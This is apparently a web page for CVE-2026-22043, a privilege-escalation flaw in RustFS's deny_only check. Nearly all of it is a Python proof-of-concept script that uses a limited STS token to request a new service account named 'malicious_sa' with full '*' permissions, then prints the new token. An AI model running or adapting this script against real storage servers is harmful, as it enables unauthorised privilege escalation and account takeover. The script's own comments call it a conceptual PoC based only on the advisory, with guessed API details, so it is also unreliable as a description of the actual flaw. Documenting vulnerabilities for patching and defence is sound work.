CVE-2026-22043 | RustFS deny_only权限提升漏洞

#!/usr/bin/env python3 """ CVE-2026-22043 PoC - RustFS deny_only Privilege Escalation Note: This is a conceptual PoC based on the vulnerability description. Actual exploitation requires understanding the RustFS API. """ import requests import json TARGET = "https://rustfs-server.example.com" STS_TOKEN = "limited_sts_token_here" def exploit(): """ Exploitation steps: 1. Obtain a restricted service account or STS credential 2. Exploit the flawed deny_only short-circuit 3. Self-issue an unrestricted service account 4. Inherit parent's full privileges """ headers = { "Authorization": f"Bearer {STS_TOKEN}", "Content-Type": "application/json" } # Step 1: Attempt to create a new service account with elevated privileges # The vulnerable code allows this due to deny_only short-circuit payload = { "action": "iam:CreateServiceAccount", "name": "malicious_sa", "permissions": "*", # Request full privileges "parent_token": STS_TOKEN } try: response = requests.post( f"{TARGET}/api/v1/iam/serviceaccounts", headers=headers, json=payload, timeout=30 ) if response.status_code == 200: result = response.json() new_token = result.get("access_token") print(f"[!] Privilege Escalation Successful!") print(f"[!] New Service Account Token: {new_token}") return new_token else: print(f"[*] Request failed: {response.status_code}") print(f"[*] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return None if __name__ == "__main__": print("CVE-2026-22043 - RustFS deny_only Privilege Escalation PoC") print("=" * 60) exploit()